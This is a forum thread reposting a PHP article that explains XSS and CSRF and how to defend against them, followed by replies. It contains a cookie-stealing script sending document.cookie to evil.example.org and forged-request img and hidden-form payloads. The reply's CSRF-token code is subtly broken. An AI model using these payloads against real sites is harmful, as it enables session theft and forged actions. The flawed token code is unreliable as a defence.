Foiling Cross-Site Attacks

Alexej Kubarev

New member
Security is a nebulous topic. Web applications are often described as being secure or insecure, and this yields dangerous misconceptions and confusion. Just how secure is a secure Web application? The inference is that such Web applications are 100% secure and invulnerable to any type of attack. Therefore, we can safely consider every Web application to be insecure.

Now that we have established that all Web applications are insecure, I will explain how to make your Web applications more secure by describing two contrasting types of attacks, Cross-Site Scripting (XSS) and Cross-Site Request Forgeries (CSRF). My hope is that you will not only learn some specific strategies for protecting against these types of attacks, but more importantly, that you will also gain crucial insight that can help you more clearly understand Web application security in general.

Cross-Site Scripting
As a PHP professional, you have most likely heard of Cross-Site Scripting (XSS). In fact, you may have already taken steps to protect your own Web applications against XSS attacks. The effectiveness of such preventive measures relies upon whether these measures address the problem or merely a symptom, and of course how well you understand the problem. It is a common tendency to only address a specific exploit of a vulnerability in much the same way that we might resolve a bug using a specific test case. With this strategy, a Web developer's effort is less effective, and therefore we want to address the root of the problem whenever possible.

The fundamental error that yields XSS vulnerabilities is trusting foreign data. A general recommendation among Web developers is to never trust client data, but protecting against XSS requires even more mistrust, as any foreign data can be dangerous. What is foreign data exactly? Simply put, foreign data is anything that your Web server sends to the client that originates from somewhere else. Some examples of foreign data include posts on a Web forum, email displayed by a Web mail client, a banner advertisement, stock quotes provided by an XML feed over HTTP, and of course client data. For any interesting Web application, there is going to be scores of foreign data, and these are the types of applications that require the most attention. Of course, the danger is not specifically that you trust the foreign data, but rather that you assume it is safe and display it to your users without proper validation. You are trusted by your users, and XSS attacks exploit that trust.

To understand why displaying foreign data can be dangerous, consider a simple registration system where users provide their preferred username and email address, and their registration information is emailed to them once their account is created. The HTML form that collects this information might be as follows:

Code:
<form action="/register.php" method="post">
<p>Username: <input type="text" name="reg_username" /></p>
<p>Email: <input type="text" name="reg_email" /></p>
<p><input type="submit" value="Register" /></p>
</form>

Of course, more important than this form is the script that receives it. If the data being submitted in the form is not properly validated, malicious users can insert a dangerous script or worse, and your only defense is the limit of their creativity. Consider that the registration data is stored in a database and that the SQL statement used to store this data is generated as follows:

Code:
<?php 
if (!get_magic_quotes_gpc()) 
{ 
    $_POST['reg_username'] = addslashes($_POST['reg_username']); 
    $_POST['reg_email'] = addslashes($_POST['reg_email']); 
} 
$sql = "insert into users(username, email) values('{$_POST['reg_username']}', '{$_POST['reg_email']}')"; 
?>

What should stand out in this SQL statement is the use of the $_POST array in its construction. The calls to addslashes() are only necessary to ensure that the SQL statement is not mangled by the data itself (it is assumed that the database being used escapes quotes with a backslash; modify this example as necessary, preferably with an escaping function native to your database like mysql_escape_string()). Data in $_POST comes from the client, and this code demonstrates a blind trust of this data. With legitimate users, the dangers of this approach will remain hidden, and this is exactly how many Web application vulnerabilities are born. Consider the following username:

Code:
<script>alert('Oh No!');</script>

While we can easily determine that this is not a valid username, the previous example demonstrates how the code that we write might not be so wise. Without proper validation of the data being stored, anything can end up in the database. Of course, the danger in the case of XSS is when this data is displayed to other users.

Let us assume that this registration system has a corresponding administrative application that is only accessible from the local network by authorized administrators. It is easy to assume that an application inaccessible from the Internet is safe, and less effort might be invested in the security of such an application. Consider the code in Listing 1 that displays a list of registered users to authorized administrators:

"Listing 1"
Code:
<table> 
    <tr> 
        <th>Username</th> 
        <th>Email</th> 
    </tr> 
<? 
if ($_SESSION['admin_ind']) 
{ 
    $sql = 'select username, email from users'; 
    $result = mysql_query($sql); 
    while ($curr_user = mysql_fetch_assoc($result)) 
    { 
        echo "tn"; 
        echo "tt<td>{$curr_user['username']}</td>n"; 
        echo "tt<td>{$curr_user['email']}</td>n"; 
        echo "t</tr>n"; 
    } 
} 
?> 
</table>
If the data in the database is not validated prior to storage, an administrator might be subject to an XSS attack by using this application.
This risk is even clearer if you consider a more malicious client-side script such as the following:

Code:
<script>
	document.location = 'http://evil.example.org/steal_cookies.php?cookies=' + document.cookie 
</script>

If this script is displayed to an administrator, the administrator's cookies that are associated with the current application's domain will be sent to evil.example.org for possible collection. In this example, the remote script steal_cookies.php can access these cookies via $_GET['cookies']. Once captured, these cookies may be used to launch impersonation attacks, obtain sensitive data, and so forth. //phpsec.org
 
Protecting Against XSS

There are a few guidelines that you can follow to help protect your applications against XSS attacks. Hopefully you can already predict a few of these.

1. Filter all foreign data

The most important guideline is to filter all foreign data. If you discover an XSS vulnerability in one of your applications, it should be due to faulty filtering logic, not due to a complete lack of filtering logic.

2. Use existing functions


Let PHP help with this; functions like htmlentities(), strip_tags(), and utf8_decode() can help you write your filtering logic. The key is to rely on built-in functions whenever they are available. For example, if you want to make sure that HTML entities are properly encoded, it is much safer to use htmlentities() than to write your own function that does the same thing. Performance considerations aside (htmlentities() is also faster), the built-in function has certainly been reviewed and tested by more people than your code, and it is far less likely to contain errors that yield vulnerabilities.

3. Only allow safe content

When writing your filtering logic, only allow content that you consider safe rather than trying to exclude content that you consider unsafe. For example, if a user is supplying a last name, you might start by only allowing alphabetic characters and spaces, as these are quite safe (of course, you want to also make sure that the length is sane). While the names Berners-Lee and O'Reilly will be incorrectly rejected, this problem is easily resolved. A quick change to your filtering logic to also allow apostrophes and hyphens is all that is needed. Over time, your filtering logic will be perfected, so that such errors become a distant memory.

The key is to not fear missing something when trying to brainstorm for all valid characters and resort to being too generous in your filtering; it is much worse to allow a malicious character than to reject a safe one. In addition, when you err on the side of caution, a quick fix resolves the problem, and those who encounter the problem will be more likely to let you know. If you create an XSS vulnerability, the fix will likely be slow and painful, and you may not learn of the problem until it is too late and your application is compromised.

4. Use a strict naming convention

There are many naming conventions that developers use to identify whether a particular variable contains filtered or unfiltered data. Choose whatever one of these is most intuitive to you, and use it consistently in all of your development. Most of these naming conventions use descriptive terms such as clean and dirty, alluding to filtered and unfiltered data, respectively (the process of data filtering is also commonly referred to as cleaning or scrubbing). Some describe unfiltered data as tainted. When you employ one of these naming conventions, it makes it easier for you to keep track of your data. The most important keys to implementing a naming convention are to only output filtered data and to ensure that no unfiltered data can be improperly named.

5. Be creative

Armed with a good understanding of the Web as well as your own application, you are the most qualified person to assess its security and to protect your application and your users from attack. It is important to be creative and to try not to make any assumptions about how users will interact with your site. Foreign data can be anything, and you will soon see that even a legitimate user may be an unknowing accomplice to an attack. Trust nothing until your data filtering logic approves of it.
Cross-Site Request Forgeries

Cross-Site Request Forgeries (CSRF) are an almost opposite style of attack. Rather than exploiting the trust that a user has for a Web site, they exploit the trust that a Web site has for a user. In the case of the XSS attacks we just discussed, the user is the victim. In the case of CSRF, the user is an unknowing accomplice.

Because CSRF involves a forged HTTP request, it is important to first understand what an HTTP request is. The Web is a client/server environment, and HTTP (Hypertext Transfer Protocol) is the protocol that Web clients and servers use to communicate. Web clients (browsers being the most common example) send HTTP requests to Web servers, and those servers return an HTTP response in reply. A request and its corresponding response make up an HTTP transaction. A basic example of an HTTP request is as follows:

GET / HTTP/1.1
Host: http://www.example.org

The URL being requested in this example is http://www.example.org/. A slightly more realistic example of a request for this same resource is the following:

GET / HTTP/1.1
Host: http://www.example.org
User-Agent: Mozilla/1.4
Accept: text/xml, image/png, image/jpeg, image/gif, */*

This second example demonstrates the use of two additional HTTP headers: User-Agent and Accept. The Host header that is included in both examples is required in HTTP/1.1. There are many HTTP headers that may be included in a request, and you might be familiar with referencing these in your code. PHP makes these available to you in the $_SERVER array, such as $_SERVER['HTTP_HOST'], $_SERVER['HTTP_USER_AGENT'], and $_SERVER['HTTP_ACCEPT']. For the remainder of this article, optional headers will be omitted for brevity in the examples.

The most common variety of CSRF attacks use the img HTML tag to forge the request. To explain how this is accomplished, assume that a request for http://www.example.org/ results in the following HTTP response:

HTTP/1.1 200 OK
Content-Length: 61

<html>
<img src="http://www.example.org/image.png" />
</html>

The important aspect of this example is the content (the HTML). When a browser interprets the HTML within a response, it will send a GET request for each additional resource, such as an image, that it needs in order to render the page. For example, after interpreting this response, an additional request similar to the following will be sent for the image:

GET /image.png HTTP/1.1
Host: http://www.example.org

The most important characteristic of this request is that it is identical to the first request except for the path to the resource. This is because requests for images are no different than requests for any other URL. A resource is a resource; there is no method for the browser to notify the Web server that it intends to be requesting an image.

In order to appreciate the danger that this behavior represents, consider a simple Web forum located at http://forum.example.org/ that uses the following HTML form to allow users to add a post:

Code:
<form action="/add_post.php">
<p>Subject: <input type="text" name="post_subject" /></p>
<p>Message: <textarea name="post_message"></textarea></p>
<p><input type="submit" value="Add Post" /></p>
</form>

Because the method of the form is not specified, a GET request will be sent upon submission, and the form fields will be included as URL variables. If a user enters foo as the subject and bar as the message, an HTTP request similar to the following will be sent (assuming that the session identifier is propogated via a cookie):

GET /add_post.php?post_subject=foo&post_message=bar HTTP/1.1
Host: forum.example.org
Cookie: PHPSESSID=123456789

If someone wants to forge posts to such a forum, all they must do is replicate the format of this request and have it be sent by the victim. While this may not sound trivial, it unfortunately is. Consider the following img tag:

<img src="http://forum.example.org/add_post.php?post_subject=foo&post_message=bar" />

When a browser requests this image, the HTTP request will look identical to the above example, including the cookie for session management. With a simple change to the URL referenced in this img tag, an attacker can modify the subject and message to be anything he/she desires. All the attacker must do to launch the attack is have the victim visit a URL that contains this img tag, and the victim will post a message of the attacker's choosing on the forum. Because requests for embedded resources are not likely to be noticed, the victim may be completely unaware of the attack.

More dangerous types of attacks might forge requests that purchase items on a Web site or perform administrative functions on a restricted Web application. Consider an intranet application located at http://192.168.0.1/admin/ that allows authorized users to terminate employees. Even with a flawless session management mechanism that is immune to impersonation, combined with the fact that this application cannot be accessed by users outside of the local network, a CSRF attack can avoid these safeguards with something as simple as the following:

<img src="http://192.168.0.1/admin/terminate_employee.php?employee_id=123" />


The most challenging characteristic of CSRF attacks is that the legitimate user is essentially making the request. Thus, regardless of how perfect the user identification and/or session management mechanism is, a CSRF attack can still be successful. Also, because it is unrealistic to rely on other Web sites to not allow such img tags (especially since the attacker could coerce the victim into visiting the attacker's own Web site), the problem must be addressed on the receiving site.


Protecting Against CSRF

Protecting your applications against CSRF attacks is more challenging than protecting them against XSS attacks. However, there are a few guidelines that you can follow to mitigate the risk of a successful attack.

1. Use POST in forms

Because requests for embedded resources are made using the GET request method, one way to distinguish the legitimate HTTP requests from those forged using the img tag method of forgery is to use POST as the form method. The form used to submit a post to forum.example.org could specify this as follows:

<form action="/add_post.php" method="post">

Of course, it is not necessarily a good idea to blindly choose the POST method for every form, but forms that are candidates for attack should certainly use POST rather than GET. As with any security provision, this step does not guarantee protection, and your users can be tricked into sending forged POST requests as well. For example, they might click on an image that submits a form, including any number of hidden form fields. The following example illustrates this technique:

<form action="/add_post.php" method="post">
<input type="hidden" name="post_subject" value="CSRF Example" />
<input type="hidden" name="post_message" value="I was tricked!" />
<input type="image" src="http://images.example.org/csrf.png" />
</form>

This style of attack, however, is at least more obvious to the victim, because a browser considers the POST request to be for the parent resource. So, the user should be aware of the attack, even if after the fact (while looking at the screen displaying the new post).

2. Use $_POST rather than rely on register_globals or $_REQUEST

If forum.example.org has register_globals enabled and references $post_subject and $post_message in the add_post.php script, using POST for the form will not help anything nor allow you to distinguish between a legitimate request and a CSRF attack (this is also true if you use $_REQUEST['post_subject'] and $_REQUEST['post_message']). While register_globals has earned a poor reputation in recent years, this has been mostly due to poor programming by inexperienced developers. CSRF represents a legitimate reason to disable register_globals regardless of your experience or security expertise.

Of course, one could argue that $_POST can be used with register_globals enabled, but that defeats the purpose. Another legitimate argument in defense of register_globals might be that it is possible to protect against CSRF with register_globals enabled by trying to force the use of your own forms. While this is a valid point, it only suggests that register_globals is technically not a security vulnerability; it is still a security risk.

3. Do not oversimplify important actions

If a single request by a legitimate user can trigger a powerful action, the risk is greater than if several requests are necessary to do the same. Even a simple verification page can be helpful, so long as the page cannot be avoided (for example, if having ?verified=yes in the URL is all that is necessary to bypass verification, it is useless). Multiple consecutive GET requests can be forged using a series of images, but multiple consecutive POST requests are more difficult to forge.

4. Force the use of your own HTML forms

The core problem of CSRF is that a forged request can imitate a form submission. If you can somehow determine whether your own Web page was used to submit the form, you can practically eliminate the risk of a CSRF attack. After all, if the user has not requested the form recently, why should a form submission from this user be considered valid? This is, of course, easier said than done, but there are a few techniques that can been used to accomplish this. My favorite techniques are those that involve a shared secret between the server and the legitimate user. For example, consider Listing 2 as a substitute for the form used to submit a post to forum.example.org:
Listing 2

<?
$token = md5(uniqid(rand(), true));
$_SESSION['token'] = $token;
$_SESSION['token_timestamp'] = time();
?>
<form action="/add_post.php" method="post">
<input type="hidden" name="token" value="<? echo $token; ?>" />
<p>Subject: <input type="text" name="post_subject" /></p>
<p>Message: <textarea name="post_message"></textarea></p>
<p><input type="submit" value="Add Post" /></p>
</form>

Every time a user requests this form, a new token is generated, and this token is saved on the server (in the user's session, replacing any previous ones) and included in the form as a hidden form variable. Therefore, when a request to post a message is received, not only can the token be compared with the token in the user's session, but a timeout can also be applied to further minimize the risk. This tactic makes a CSRF attack extremely difficult and therefore represents a high level of protection.

Summary

I hope that you now have a firm understanding of both XSS and CSRF as well as Web application security in general. The key to security is to make life easy for the good guys and difficult for the bad guys. No application is completely secure, so try to focus on making successful attacks as difficult to achieve as possible. Every obstacle helps, and even a bit of obscurity can be helpful, despite what some people may lead you to believe.
 
actually never said that it was my own... and in several posts i have mentioned that i have taken it from PHP Security consorium or PHParch... i guess i just forgot to do it in this posting... sorry..hehe... gonna correct it ;)
 
Well, I didn't write the following, the credit goes to Jacques1 on DevShed forums, but I like this method for securing CRSF attacks.
this would be included in config.php or utilities.inc.php file, I called it functions.secret.token.php:
Code:
<?php 
function generate_secure_token($length = 16) {
	/* important! this has to be a crytographically secure random generator */	
	return bin2hex(openssl_random_pseudo_bytes($length));            
}


The when the user logins in

Code:
 $action_token = $generate_secure_token();
 $_SESSION['token'] = $action_token;

then some where in your form for accessing the database table:

Code:
<input type="hidden" name="action" value="<?php echo $_SESSION['token']; ?>">

That way all you have to do something like this when checking access to the table
Code:
if ( $_POST['action'] === $action_token) {
  // Access Database Table or check for further credentials:
}

To me using OPEN_SSL is more secure than md5....

HTH
 
Back
Top